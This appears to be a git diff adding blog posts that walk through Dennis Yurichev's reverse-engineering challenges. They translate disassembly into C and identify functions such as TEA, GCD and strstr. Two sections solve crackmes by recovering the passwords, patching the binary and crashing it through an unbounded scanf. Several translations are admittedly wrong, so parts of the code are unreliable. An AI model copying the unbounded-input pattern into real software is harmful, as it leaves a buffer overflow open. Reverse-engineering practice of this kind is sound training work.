big-endian +platform, which I don't really want to do right now. + +* Challenge #26 + +I decided to skip challenges #24 and #25 as they were listed as "Level 2" and +"Level 3" respectively in terms of difficulty. Challenge #25 in particular +seemed particularly demanding. Challenge #26, on the other hand, was a +relatively straightforward bytecode reverse engineering task. Like Challenge +#14, disassemblies for both .NET and the JVM are given, and as I'm more familiar +with Java than C# (unfortunately), that's the disassembly I chose to work with. + +#+BEGIN_SRC java +public static byte f(byte a) { + return (byte) ((((long) a * 8623620610L) & 1136090292240L) % 1023L); +} +#+END_SRC + +Again, I'm not familiar with JVM bytecode, so I broke out [[https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings][my favorite JVM +reference]]. Here are the instructions we're concerned with: + +#+BEGIN_SRC java +iload_0 // load an int value from local 0 +i2l // convert an int to a long +l2i // convert a long to an int +i2b // convert an int to a byte +ldc2_w // push a constant onto the stack +lmul // multiply two longs +land // perform a bitwise and on two longs +lrem // perform remainder division on two longs +#+END_SRC + +Even if you don't know how the JVM works, I think the purpose of =f= is fairly +clear as soon as you know what those few instructions do. + +I've typically been using Matt Godbolt's amazing [[https://godbolt.org/][Compiler Explorer]] to check my +solutions, but this time around I used [[http://javabytes.io/][Javabytes]]. The disassembly of my +translation for =f= matches what was given for the challenge, so I'm quite +confident in my answer. As for what it does: I began my analysis as I typically +do, giving the function some test values and observing the output. + +#+BEGIN_SRC java +public static void main(String[] args) { + for (int i = 0; i < 256; i++) { + System.out.printf("%3i: b\n", i, f((byte) i)); + } +} + +// 0: 0 +// 1: -128 +// 2: 64 +// 3: -64 +// 4: 32 +// ... +// 253: 63 +// 254: -65 +// 255: 127 +#+END_SRC + +That isn't very telling, but the oscillating sign gives me an idea. + +#+BEGIN_SRC java +public static String toPaddedBinary(byte a) { + String s = String.format("%8s", Integer.toBinaryString(a)); + s = s.replace(' ', '0'); + return s.substring(s.length() - 8, s.length()); +} + +public static void main(String[] args) { + for (int i = 0; i < 256; i++) { + System.out.printf("%s: %s\n", toPaddedBinary((byte) i), toPaddedBinary(f((byte) i))); + } +} + +// 00000000: 00000000 +// 00000001: 10000000 +// 00000010: 01000000 +// ... +// 11111101: 10111111 +// 11111110: 01111111 +// 11111111: 11111111 +#+END_SRC + +So =f= reverses the bits of =a=. + +* Challenge #27 + +This challenge threw me for a bit of a loop, as it didn't give the usual amd64 +output from GCC 4.9. Rather an i386 disassembly from MSVC 2010 was given, +alongside an arm64 disassembly from GCC 4.9. I tried both, but had some +significant trouble with the MSVC disassembly as it seemed to be dealing with +64-bit integers on a 32-bit architecture. + +After quickly reviewing CDOT's [[https://wiki.cdot.senecacollege.ca/wiki/Aarch64_Register_and_Instruction_Quick_Start#General-Purpose_Registers][AArch64 reference]] to get an idea of register +widths, this is the translation came up with: + +#+BEGIN_SRC c +int f(int a) +{ + return (((int) (((long) a * 0xc64b2279) >> 32)) + a) >> 9 - (a >> 31); +} +#+END_SRC + +I'm not particularly confident in this, however, as the behavior of =f= is to +return \(floor(a / 289)\). I suspect my poor understanding of the [[http://infocenter.arm.com/help/topic/com.arm.doc.dui0068b/CIHBEAGE.html][flexible +second operand]] (i.e. in =sub w0, w1, w0, asr 31=) is what gave me me the most +trouble. Perhaps this is a challenge I should return to when I properly learn +ARM. + +I tried a more direct translation to Python, + +#+BEGIN_SRC python +def test_f(a): + result = a * 0xc64b2279 + upper = result & 0xffffffff00000000 + lower = result & 0xffffffff + return ((upper + lower) >> 9) + \ + (((upper + lower) >> 9) >> 31) + +fmt = lambda n: bin(n)[2:].rjust(32, '0') + +for i in range(256): + print("{}\n{}\n".format(fmt(i), fmt(test_f(i)))) +#+END_SRC + +which didn't yield any recognizable patterns. + +Actually, before implementing it in Python, I implemented it in Emacs Lisp (I +might have been waiting on Python to compile? I don't remember). + +#+BEGIN_SRC elisp +(defun test-f (a) + (let* ((result (* a #xc64b2279)) + (upper (logand result #xffffffff00000000)) + (lower (logand result #xffffffff))) + (+ (ash (+ upper lower) 9) + (ash (ash (+ upper lower) 9) 31)))) +#+END_SRC + +Either way, this challenge wasn't fruitful. + +* Challenge #28 + +I suspect that this challenge was made a bit easier by GCC's optimizations. The +amd64 disassembly includes two unused functions, =f2= and =my_memdup= -- they're +used in some of the other disassemblies, but I chose to ignore them. + +#+BEGIN_SRC c +#include +#include + +int f1(int *a, int *b) +{ + return *a > *b ? 0 : -1; +} + +int f_main(void *src, int n) +{ + int tmp; + char *dst; + + dst = malloc(n * sizeof(int)); + memcpy(dst, src, n * sizeof(int)); + qsort(dst, n, sizeof(int), f1); + + if (n > 1) { + tmp = dst[n >> 1] + \ + dst[n >> 1 - 1]; + return (tmp + (tmp >> 31)) >> 1; + } + + return dst[0]; +} +#+END_SRC + +I've started to see this =(tmp + (tmp >> 31)) >> 1= idiom rather frequently, so I +decided to finally look it up, coming across [[https://stackoverflow.com/questions/40638335/why-does-the-compiler-generate-a-right-shift-by-31-bits-when-dividing-by-2][this]] Stack Overflow answer. I'm +glad I did, because realizing that it carries out signed integer division by two +makes this exercise far more clear. + +#+BEGIN_SRC c +#include +#include + +int f1(int *a, int *b) +{ + return *a > *b ? 0 : -1; +} + +int f_main(void *src, int n) +{ + char *dst; + + dst = malloc(n * sizeof(int)); + memcpy(dst, src, n * sizeof(int)); + qsort(dst, n, sizeof(int), f1); + + if (n > 1) { + return (dst[n / 2] + dst[n / 2 - 1]) / 2; + } + + return dst[0]; +} +#+END_SRC + +=f_main= returns the [[https://en.wikipedia.org/wiki/Median][median]] of a set of values. + +* Challenge #30 + +I have, once again, skipped another challenge that was being listed as "level +2," which brings us to the thirtieth challenge. This one is strikingly different +from the other challenges I've covered here; rather than being asked to describe +what a program does, the instruction read: + +"This program requires a password. Try to find it. + +As an additional exercise, try to change the password by patching the executable +file. Also try using one with a different length. What is the shortest possible +password here? + +Also try to crash the program using only string input." + +We're given several links to downloads. Binaries are provided for 32-bit +Microsoft Windows, Mac OS X, and i386/mips Linux. I went with i386 Linux, as I'd +be able to run the challenge natively.q + +#+BEGIN_SRC +jakob@Epsilon /tmp $ sha256sum password1 +96b8110208d61c7ac586910ebad22ef2e4bbeb867e6d6429967846698b9d02fc password1 +#+END_SRC + +Being faced with a binary, I was tempted to use this as an opportunity to try +out [[https://ghidra-sre.org/][Ghidra]], but while I waited for OpenJDK 11 to download, I peered inside with +radare2 and decided that it wasn't worth the trouble. Here's the disassembly, +according to radare: + +#+BEGIN_SRC +[0x080484ed]> pdf + ;-- eip: +┌ (fcn) main 149 +│ main (); +│ ; var int local_4h @ esp+0x4 +│ ; var int local_1ch @ esp+0x1c +│ ; var int local_9ch @ esp+0x9c +│ ; DATA XREF from 0x08048407 (entry0) +│ 0x080484ed 55 pushl %ebp +│ 0x080484ee 89e5 movl %esp, %ebp +│ 0x080484f0 83e4f0 andl $0xfffffff0, %esp +│ 0x080484f3 81eca0000000 subl $0xa0, %esp +│ 0x080484f9 65a114000000 movl %gs:0x14, %eax ; [0x14:4]=-1 ; 20 +│ 0x080484ff 8984249c0000. movl %eax, local_9ch +│ 0x08048506 31c0 xorl %eax, %eax +│ 0x08048508 c70424208604. movl $str.enter_password:, 0(%esp) ; [0x8048620:4]=0x65746e65 ; "enter password:" +│ 0x0804850f e89cfeffff calll sym.imp.puts ; int puts(const char *s) +│ 0x08048514 8d44241c leal local_1ch, %eax ; 0x1c ; 28 +│ 0x08048518 89442404 movl %eax, local_4h +│ 0x0804851c c70424308604. movl $0x8048630, 0(%esp) ; [0x8048630:4]=0x6e007325 +│ 0x08048523 e8b8feffff calll sym.imp.__isoc99_scanf +│ 0x08048528 83f801 cmpl $1, %eax ; 1 +│ ┌─< 0x0804852b 740c je 0x8048539 +│ │ 0x0804852d c70424338604. movl $str.no_password_supplied, 0(%esp) ; [0x8048633:4]=0x70206f6e ; "no password supplied" +│ │ 0x08048534 e877feffff calll sym.imp.puts ; int puts(const char *s) +│ │ ; JMP XREF from 0x0804852b (main) +│ └─> 0x08048539 c74424044886. movl $str.metallica, local_4h ; [0x8048648:4]=0x6174656d ; "metallica" +│ 0x08048541 8d44241c leal local_1ch, %eax ; 0x1c ; 28 +│ 0x08048545 890424 movl %eax, 0(%esp) +│ 0x08048548 e843feffff calll sym.imp.strcmp ; int strcmp(const char *s1, const char *s2) +│ 0x0804854d 85c0 testl %eax, %eax +│ ┌─< 0x0804854f 750e jne 0x804855f +│ │ 0x08048551 c70424528604. movl $str.password_is_correct, 0(%esp) ; [0x8048652:4]=0x73736170 ; "password is correct" +│ │ 0x08048558 e853feffff calll sym.imp.puts ; int puts(const char *s) +│ ┌──< 0x0804855d eb0c jmp 0x804856b +│ ││ ; JMP XREF from 0x0804854f (main) +│ │└─> 0x0804855f c70424668604. movl $str.password_is_not_correct, 0(%esp) ; [0x8048666:4]=0x73736170 ; "password is not correct" +│ │ 0x08048566 e845feffff calll sym.imp.puts ; int puts(const char *s) +│ │ ; JMP XREF from 0x0804855d (main) +│ └──> 0x0804856b 8b94249c0000. movl local_9ch, %edx ; [0x9c:4]=-1 ; 156 +│ 0x08048572 653315140000. xorl %gs:0x14, %edx +│ ┌─< 0x08048579 7405 je 0x8048580 +│ │ 0x0804857b e820feffff calll sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) +│ │ ; JMP XREF from 0x08048579 (main) +│ └─> 0x08048580 c9 leave +└ 0x08048581 c3 retl +#+END_SRC + +As you can see, this is just like any other "easy crackme." A simple string +comparison. radare2 doesn't automatically decode 0x8048630 as a string, but it's +trivial to obtain its value. + +#+BEGIN_SRC +:> psz @ 0x8048630 +%s +#+END_SRC + +Translating it into C is similarly trivial. + +#+BEGIN_SRC c +#include +#include + +int main(void) +{ + char buf[128]; + puts("enter password:"); + if (scanf("%s", buf) != 1) { + puts("no password supplied"); + } + if (strcmp(buf, "metallica") == 0) { + puts("password is correct"); + } else { + puts("password is not correct"); + } +} +#+END_SRC + +I do have to complement Yurichev's choice of strong passwords. \m/ + +One may wonder where I pulled =128= from. Our stack layout looks something like +this: + +#+BEGIN_SRC prog ++-------------------------------------+ +|%esp | +|Scratch space for function arguments.| ++-------------------------------------+ +|%esp + 0x1c | +|Buffer starts here | +|... | +|Buffer ends here | ++-------------------------------------+ +|%esp + 0x9c | +|Stack canary, perhaps? | ++-------------------------------------+ +|%esp + I DON'T CARE ANYMORE | +|Here be dragons. | ++-------------------------------------+ +#+END_SRC + +radare2 is kind enough to automatically name local variables according to their +position in the stack layout, so I was able to derive this from the names +=local_1ch= and =local_9ch=. =local_4h= isn't really a local variable -- it looks like +one, but that's just how the compiler decided to set up arguments for the +various function calls (dereferencing the stack pointer, as opposed to using +=push=). Anyway, subtracting =0x9c= from =0x1c= gets you 128 -- hence, the buffer size +in my translation. + +It's pretty easy to patch the password, since =strcmp= operates on C strings. Just +patch the characters. No sort of length needs to be adjusted since they're +null-terminated. The shortest possible password would be zero characters long, +which would be achieved by patching in a null byte at the 'm' in "metallica". +This can be done however you like, though radare makes it easy if you've opened +the file in "write mode": just seek to the location of the 'm' and =wx 00=. +Crashing the program is similarly easy, since there are no bounds checks on the +call to =scanf=. + +#+BEGIN_SRC +jakob@Epsilon /tmp $ python -c "print('a' * 256)" | ./test +enter password: +password is not correct +Segmentation fault +#+END_SRC + +* Challenge #31 + +Yowch. We're only given disassemblies from MSVC this time. + +#+BEGIN_SRC c +double f(double a, int b) +{ + double cur; + cur = 1.0; + while (((double) (((int) (cur - a)) - b)) <= 0.001) + cur = (a + 1.0) * 0.5; + return cur; +} +#+END_SRC + +Once again, I deferred to [[https://float.exposed/][float.exposed]] to decode the floating-point constant +values. =__real@3ff0000000000000= is =1.0=, =__real@3f50624dd2f1a9fc= is approximately +=0.001=, and =__real@3fe0000000000000= is =0.5=. I also needed to look up most of the +SIMD instructions. =cvttsd2si= converts a double to an int, =cdq= converts an int +into a long, =cvtdq2pd= converts an int to a double, and =comisd= is comparable to +=cmp=. + +This converges for very few values. Which is a pain, since this translation +gives me some very promising output in [[https://godbolt.org/][Compiler Explorer]]. But considering the +value that the loop gets stuck on, I suspect that =f= averages =a= and =b=. + +* Challenge #32 + +We're given a hint that, "[t]his is a standard C library function. The source +code is taken from MSVC 2010." + +#+BEGIN_SRC c +#include + +char *f(char *a, char *b) +{ + char *cur; + char *a_cur; + char *b_cur; + + cur = a; + + if (*b == '\0') { + return a; + } + + while (*cur != '\0') { + a_cur = cur; + b_cur = b; + + while (*a_cur != '\0' && *b_cur != '\0' && *a_cur == *b_cur) { + a_cur++; + b_cur++; + } + + if (*b_cur == '\0') { + return cur; + } + + cur++; + } + + return NULL; +} +#+END_SRC + +I think the translation makes the purpose of this function reasonably clear, but +the hint means I can verify my work against C's tiny standard library. =f= is +obviously one of the library's [[https://en.wikipedia.org/wiki/C_string_handling][string functions]]. Can you guess which one? + +(My answer is that =f= is an implementation of =strstr=.) + +* Challenge #33 + +What gave it away for me this time was the "crypto" tag. I stopped in my +translation efforts about here, + +#+BEGIN_SRC c +void f(void *a, void *b, void *c) +{ + int mushroom; // _k0 + int bean; // _k1 + int tomato; // _k2 + int corn; // _k3 + + // eax = a[0] + // ecx = a[1] + + mushroom = b[0]; + bean = b[1]; + + // esi = b[3]; + // edx = 0; + + tomato = b[2]; + corn = b[3]; + + // edi = 32; + + // LL8 + esi = ecx >> 5 + bean; + ebx = ecx << 4 + mushroom; + edx -= 0x61c88647; + + esi ^= ebx; + ebx = ecx + edx; + esi ^= ebx; + + eax += esi; + + esi = eax >> 5 + corn; + ebx = eax << 4 + tomato; + + esi ^= ebx; + ebx = eax + edx; + esi ^= ebx; + + ecx += esi; + edi--; + + // When edi == 0: c[0] = eax, c[1] = ecx +} +#+END_SRC + +and decided to do a search for '0x61c88647 hash'. This yields a few interesting +results, such as [[https://stackoverflow.com/questions/38994306/what-is-the-meaning-of-0x61c88647-constant-in-threadlocal-java][one]] describing the constant used in ThreadLocal.java's +implementation Fibonacci hashing and [[https://softwareengineering.stackexchange.com/questions/63595/tea-algorithm-constant-0x9e3779b9-said-to-be-derived-from-golden-ratio-but-the][another]] describing the constants used in +the Tiny Encryption Algorithm. + +This immediately set off bells for me. I read Bruce Schneier's /Applied +Cryptography/ some years back and was instantly reminded that TEA uses [[https://en.wikipedia.org/wiki/Block_cipher#Operations][ARX]] with +shifts of =5= and =4=. If you pull up Wikipedia's reference code for TEA encryption, +you'll be greeted with the following: + +#+BEGIN_SRC c +void encrypt (uint32_t v[2], uint32_t k[4]) { + uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ + uint32_t delta=0x9E3779B9; /* a key schedule constant */ + uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ + for (i=0; i<32; i++) { /* basic cycle start */ + sum += delta; + v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); + v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); + } /* end cycle */ + v[0]=v0; v[1]=v1; +} +#+END_SRC + +Armed with this, I can confidently say that =f= is an implementation of TEA +encryption with a schedule constant of =0x61c88647=. + +* Challenge #34 + +Another crypto challenge. This time, we're told that "[t]his is a well-known +cryptographic algorithm from the past." The disassembly was simple enough that I +thought to translate it into standard mathematical notation rather than C, but +it turned out to be far less helpful than the equivalent C. + +#+BEGIN_SRC c +uint16_t f(uint16_t a) +{ + uint16_t tmp; + + tmp = a << 2; + tmp ^= a; + tmp <<= 1; + tmp ^= a; + tmp <<= 2; + tmp ^= a; + + return ((tmp & 32) << 10) | (a >> 1); +} +#+END_SRC + +That said, I'm not familiar with the particular algorithm. There's a clear +pattern, but I'm not sure where to start looking. Is it a hash function? Some +kind of bastardized XOR encryption? Who knows. + +* Challenge #35 + +This was a tough one. I'll give my initial translation to C and explain where I +went wrong: + +#+BEGIN_SRC c +#include +#include + +int f(int x, int y) +{ + int a, b; + + if (x == 0) { + return y; + } + + if (y == 0) { + return x; + } + + a = x >> ffs(x); + b = y >> ffs(y); + + while (a != b) { + if (a < b) { + SWAP(a, b); + } + + if (a == 1) { + break; + } + + b = (b - a) >> ffs(b - a); + } + + return a << ffs(x | y); +} +#+END_SRC + +One thing worth remarking on in the disassembly is this: + +#+BEGIN_SRC asm + xor esi, edx + xor edx, esi + xor esi, edx +#+END_SRC + +This is the [[https://en.wikipedia.org/wiki/XOR_swap_algorithm][XOR swap algorithm]]. In an attempt to make the translation more +clear, I replaced it with a (non-existent) =SWAP= macro. =ffs= is also a POSIX +extension that [[https://stackoverflow.com/questions/757059/position-of-least-significant-bit-that-is-set][corresponds nicely]] to the =bsf= instruction. + +The issue? I've been reading these MSVC disassemblies wrong the whole time. Take +this instruction, for example: =mov edx, DWORD PTR _y$[esp+4]=. I'd never actually +done out the calculations. As it turns out, =_rt$2[esp+8]= aliases with =y=. I +thought that =_rt$2= was a distinct variable and that the compiler was storing to +some local variable but never using it. This isn't the case, hence why the +translation doesn't work as intended. + +What I need to start doing for these MSVC disassemblies is translating them into +something I can assemble. + +#+BEGIN_SRC asm +global f +f: + push ecx + push esi + mov esi, DWORD [esp+12] + test esi, esi + jne init + mov eax, DWORD [esp+16] + pop esi + pop ecx + ret +init: + mov edx, DWORD [esp+16] + mov eax, esi + test edx, edx + je exit + or eax, edx + push edi + bsf edi, eax + bsf eax, esi + mov ecx, eax + mov DWORD [esp+8], eax + bsf eax, edx + shr esi, cl + mov ecx, eax + shr edx, cl + mov DWORD [esp+16], eax + cmp esi, edx + je return +lp: + jbe skip + xor esi, edx + xor edx, esi + xor esi, edx +skip: + cmp esi, 1 + je return + sub edx, esi + bsf eax, edx + mov ecx, eax + shr edx, cl + mov DWORD [esp+16], eax + cmp esi, edx + jne lp +return: + mov ecx, edi + shl esi, cl + pop edi + mov eax, esi +exit: + pop esi + pop ecx + ret 0 +#+END_SRC + +Actually, I should be doing this for all of the challenges... Anyway, observing +a few test values for =f=: + +#+BEGIN_SRC prog +f(1, 1) = 1 +f(1, 2) = 1 +f(1, 3) = 1 +f(1, 4) = 1 +f(1, 5) = 1 +f(1, 6) = 1 +f(1, 7) = 1 +f(1, 8) = 1 +f(1, 9) = 1 +... +f(1, 252) = 1 +f(1, 253) = 1 +f(1, 254) = 1 +f(1, 255) = 1 +f(2, 1) = 1 +f(2, 2) = 2 +f(2, 3) = 1 +f(2, 4) = 2 +f(2, 5) = 1 +f(2, 6) = 2 +f(2, 7) = 1 +f(2, 8) = 2 +f(2, 9) = 1 +f(2, 10) = 2 +f(2, 11) = 1 +f(2, 12) = 2 +... +f(9, 1) = 1 +f(9, 2) = 1 +f(9, 3) = 3 +f(9, 4) = 1 +f(9, 5) = 1 +f(9, 6) = 3 +f(9, 7) = 1 +f(9, 8) = 1 +f(9, 9) = 9 +... +f(10, 1) = 1 +f(10, 2) = 2 +f(10, 3) = 1 +f(10, 4) = 2 +f(10, 5) = 5 +f(10, 6) = 2 +f(10, 7) = 1 +f(10, 8) = 2 +f(10, 9) = 1 +f(10, 10) = 10 +f(10, 11) = 1 +f(10, 12) = 2 +... +#+END_SRC + +It took me a while, but I eventually noticed the pattern. =f= is the [[https://en.wikipedia.org/wiki/Greatest_common_divisor][greatest +common divisor]] function. diff --git a/haunt/posts/challenges-re-writeups-4.org b/haunt/posts/challenges-re-writeups-4.org new file mode 100644 index 0000000..c80c27a --- /dev/null +++ b/haunt/posts/challenges-re-writeups-4.org @@ -0,0 +1,1150 @@ +#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74) +#+DATE: <2019-12-29 Sun 19:55> +#+TAGS: writeup reverse-engineering x86 + +This is the fourth and final set of for my self-imposed challenge of completing +at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of +the year. The previous set is available [[http:///jakob.space/challenges-re-writeups-3.html][here]]. + +We'll actually be covering twenty challenges in this one. I'd been so busy with +school that I forgot to make a post when I hit forty. + +* Challenge #36 + +The description this time describes that this is "[a] well-known algorithm +again. What does it do? Also, take notice that the code for x86 uses FPU, but +SIMD instructions are used instead in the x64 code. That's OK." + +#+BEGIN_SRC c +long state = 0x12345678; + +float f1(void) +{ + state = state * 0x19660d + 0x3c6ef35f; + return ((float) ((state & 0x7fffff) | 0x40000000)) - 3.0f; +} + +void f(void) +{ + int i; + int count; + float a; + float b; + + for (i = 0, count = 0; i < 1000000; i++) { + a = f1(); + b = f1(); + + if (a * a + b * b > 1.0f) { + count++ + } + } + + ((float) (((double) count) * 2.25) / 10.9073486328125); +} +#+END_SRC + +I thought this was a lame challenge. The floating point operations of =f1= have +been optimized to the point that it's unrecognizable, so if you aren't familiar +with the standard bit-twiddling tricks that GCC uses to speed up floating-point +operations, you aren't going to be able to come up with anything meaningful -- +especially since neither function take parameters. My response? =f= returns the +constant value =206282.937500=. + +I thought this might be the [[https://en.wikipedia.org/wiki/Fast_inverse_square_root][fast inverse square root]], but I don't believe it is. + +* Challenge #37 + +Ah, another challenge for which the description is that it is a "[w]ell-known +function" and only x86 disassembly given is from MSVC. Fortunately, this one is +not too difficult. + +#+BEGIN_SRC c +int f(int a, int b) +{ + int i; + int n; + + if (a == 0) { + return b + 1; + } + + n = b; + i = a; + + do { + if (n == 0) { + n = 1; + } else { + n = f(i, n - 1); + } + } while (--i != 0); + + return n + 1; +} +#+END_SRC + +This is the Ackermann function, albeit using a loop rather than a direct +translation of the Ackermann–Péter function to code. + +To answer Yurichev's additional questions, a stack overflow occurs if 4 and 2 +are supplied as input because those are [[https://www.wolframalpha.com/input/?i=Ackermann(4,2)][absurd parameters for this function]], and +this function bears the error of not enforcing the constraints given in the +definition of the Ackermann–Péter function. + +* Challenge #38 + +Fun. Another challenge provided as a binary. + +#+BEGIN_SRC prog +jakob@Upsilon ~ $ sha256sum 17 +8f73f329e0988968a9fa40f61da906e83b46817bcb5c0e93f7e95aa74c30e8e0 17 +jakob@Upsilon ~ $ file 17 +17: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=bdeac54f2d98db38d7a63a43f1c41857432686c4, stripped +#+END_SRC + +I stopped a bit early because, for once, the question wasn't "[w]hat does this +code do?", but was instead, "[t]his program prints some information to stdout, +each time different. What is that?" + +#+BEGIN_SRC c +#include +#include + +static time_t current_time; + +int fcn.004006c4(void) +{ + return current_time = current_time * 0x19660d * 0x3c6ef35f; +} + +int main(int argc, char **argv) +{ + char *s2; + void **s1; + int var_1ch; + int var_18h; + int var_11h; + + s2 = malloc(230); + s1 = malloc(80); + var_1ch = 0; + + while (var_1ch <= 9) { + s1[var_1ch++] = calloc(230, 1); + } + + current_time = time(NULL); + + var_1ch = 0; + while (var_1ch <= 230) { + var_11h = fcn.00400b60(fcn.004006c4()); + s2[var_1ch++] = var_11h & 1; + } + + var_1ch = 0; + while (1) { + fcn.00400970(s2, 230); + fcn.0040072a(s2, 230, 110); + + var_18h = 0; + while (var_18h <= 8) { + if (!memcmp(s1[var_18h++], s2, 230)) { + exit(0); + } + } + + var_18h = 0; + while (var_18h <= 8) { + memcpy(s1[var_18h], s1[++var_18h], 230); + } + + memcpy(s1[9], s2, 230); + var_1ch++; + } +} +#+END_SRC + +The only nondeterminism I saw in the disassembly was from =time=. The actual +output of the program is incomprehensible -- appearing to be some sort of +ASCII-art fractal. For this reason, I'm concluding that the information printed +to =stdout= is the current time. + +* Challenge #39 + +The description for this challenge got me excited. "This program requires a +password. Find it." + +#+BEGIN_SRC prog +jakob@Upsilon ~ $ sha256sum password2 +8c8365f316de896c453511c5f484755600208b87ad0f1595a2900cbf5a36db24 password2 +#+END_SRC + +=main= is simple enough that I feel I can omit the: it reads in a password with +=scanf=, and then checks it with the following snippet. + +#+BEGIN_SRC prog +│ 0x0804853e e87affffff calll fcn.080484bd +│ 0x08048543 3df8010000 cmpl $0x1f8, %eax ; 504 +#+END_SRC + +We want to find some =password= such that =fcn.080484bd(password) = 0x1f8=. +Peeking into =fcn.080484bd=, I was a little disappointed. + +#+BEGIN_SRC prog +┌ (fcn) fcn.080484bd 46 +│ fcn.080484bd (int32_t arg_8h); +│ ; var int32_t var_4h @ ebp-0x4 +│ ; arg int32_t arg_8h @ ebp+0x8 +│ ; CALL XREF from main @ 0x804853e +│ 0x080484bd 55 pushl %ebp +│ 0x080484be 89e5 movl %esp, %ebp +│ 0x080484c0 83ec10 subl $0x10, %esp +│ 0x080484c3 c745fc000000. movl $0, var_4h +│ ┌─< 0x080484ca eb10 jmp 0x80484dc +│ │ ; CODE XREF from fcn.080484bd @ 0x80484e4 +│ ┌──> 0x080484cc 8b4508 movl arg_8h, %eax ; [0x8:4]=-1 ; 8 ; edx +│ ╎│ 0x080484cf 0fb600 movzbl 0(%eax), %eax +│ ╎│ 0x080484d2 0fbec0 movsbl %al, %eax +│ ╎│ 0x080484d5 0145fc addl %eax, var_4h +│ ╎│ 0x080484d8 83450801 addl $1, arg_8h ; [0x8:4]=-1 ; 1 +│ ╎│ ; CODE XREF from fcn.080484bd @ 0x80484ca +│ ╎└─> 0x080484dc 8b4508 movl arg_8h, %eax ; [0x8:4]=-1 ; 8 ; edx +│ ╎ 0x080484df 0fb600 movzbl 0(%eax), %eax +│ ╎ 0x080484e2 84c0 testb %al, %al +│ └──< 0x080484e4 75e6 jne 0x80484cc ; likely +│ 0x080484e6 8b45fc movl var_4h, %eax ; edx +│ 0x080484e9 c9 leave ; edx +└ 0x080484ea c3 retl ; edx +#+END_SRC + +Do I even need to provide a C translation? The disassembly should be glaringly +obvious: this "check" function just returns the sum of the string argument's +individual bytes. Coming up with a valid password is trivial. + +#+BEGIN_SRC prog +jakob@Upsilon ~ $ ./password2 +enter password: +AAAAAAA1 +password is correct +#+END_SRC + +The problem also suggests that I "try to change the password by patching the +executable file," but this doesn't invokve anything more than changing the word +at =0x08048544=. + +* Challenge #41 + +The question this time is: "[t]his program prints some numbers to stdout. What +is it?" + +#+BEGIN_SRC prog +jakob@Upsilon ~ $ file problem +problem: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a89ecf1ae2f2474548d09ca3ebccd7db4162fa1e, stripped +jakob@Upsilon ~ $ sha256sum problem +ab3864e8fceeffe4b166cb7481332e88a1fe90b6a406e635c6921119c91a00fd problem +#+END_SRC + +I wrote a C translation without running the program. In retrospect, this wasn't +a bad idea. The calculation is a function of some integer, but the binary spits +out subsequent numbers with no sort of delimitation. Having the C translation +means that I could add a =printf("\n");= after the call to =fcn_00400536(var_4h++);= +and get output similar to the following: + +#+BEGIN_SRC prog +jakob@Upsilon ~ $ /tmp/test +1 + +2 +1 + +3 +10 +5 +16 +8 +4 +2 +1 + +4 +2 +1 + +5 +16 +8 +4 +2 +1 +#+END_SRC + +Here's the C translation. + +#+BEGIN_SRC c +void fcn_00400536(int a) +{ + printf("%d\n", a); + while (a != 1) { + if (a & 1 != 0) { + a = a * 3 + 1; + } else { + a >>= 1; + } + printf("%d\n", a); + } +} + +int main(int argc, char **argv) +{ + int var_4h; + var_4h = 1; + while (var_4h <= 15) { + fcn_00400536(var_4h++); + } + return var_4h; +} +#+END_SRC + +We can pick any interesting sequence and plug it into [[https://oeis.org/search?q=3%2C10%2C5%2C16%2C8%2C4%2C2%2C1&language=english&go=Search][OEIS]], which identifies +=fcn_00400536= as "A070165: Irregular triangle read by rows giving trajectory of n +in Collatz problem." Ah, yes. This is looking familiar now. This is the famously +unsolved problem in mathematics, the [[https://en.wikipedia.org/wiki/Collatz_conjecture][Collatz conjecture]]. + +* Challenge #43 + +#+BEGIN_SRC prog +jakob@Upsilon ~ $ file unknown_utility_2_3 +unknown_utility_2_3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cb74037dd37694879f6250bfb5623c273ef68ca6, stripped +jakob@Upsilon ~ $ sha256sum unknown_utility_2_3 +9d3df3be78f21971059ba2d9973a1358865ccbe2f47f78fc5800779d6f6083fe unknown_utility_2_3 +#+END_SRC + +I really wasn't feeling it today, so I took the easy way out and just ran the +binary provided on a test file. It spits out a floating point number, which +seems to decrease as the file becomes less interesting. Just a hunch, but maybe +it's binary entropy? + +#+BEGIN_SRC prog +jakob@Upsilon ~ $ python -c "print('a' * 256)" > test.txt +jakob@Upsilon ~ $ ./unknown_utility_2_3 test.txt +0.036753 +jakob@Upsilon ~ $ rahash2 -a entropy test.txt +test.txt: 0x00000000-0x00000100 entropy: 0.03675295 +jakob@Upsilon ~ $ dd bs=256 count=1 if=/dev/urandom > test.txt +1+0 records in +1+0 records out +256 bytes copied, 7.0438e-05 s, 3.6 MB/s +jakob@Upsilon ~ $ ./unknown_utility_2_3 test.txt +7.069718 +jakob@Upsilon ~ $ rahash2 -a entropy test.txt +test.txt: 0x00000000-0x000000ff entropy: 7.06971784 +#+END_SRC + +Well, that's an answer I'm certainly happy with. + +* Challenge #48 + +It looks like we're starting to get into the realm of =win32=. The question for +this challenge is, "[w]hat does this win32-function do?" + +#+BEGIN_SRC asm +main: + push 0xFFFFFFFF + call MessageBeep + xor eax,eax + retn +#+END_SRC + +This is pretty simple. It's a wrapper for =MessageBeep=. According to [[https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebeep][MSDN]], the +=0xFFFFFFFF= parameter produces "[a] simple beep. If the sound card is not +available, the sound is generated using the speaker." + +* Challenge #49 + +Another rather simple one. The disassembly for this challenge is given in AT&T +syntax, which is my preferred way of reading x86 assembly. + +#+BEGIN_SRC asm +main: + pushq %rbp + movq %rsp, %rbp + movl $2, %edi + call sleep + popq %rbp + ret +#+END_SRC + +A wrapper around =sleep=, 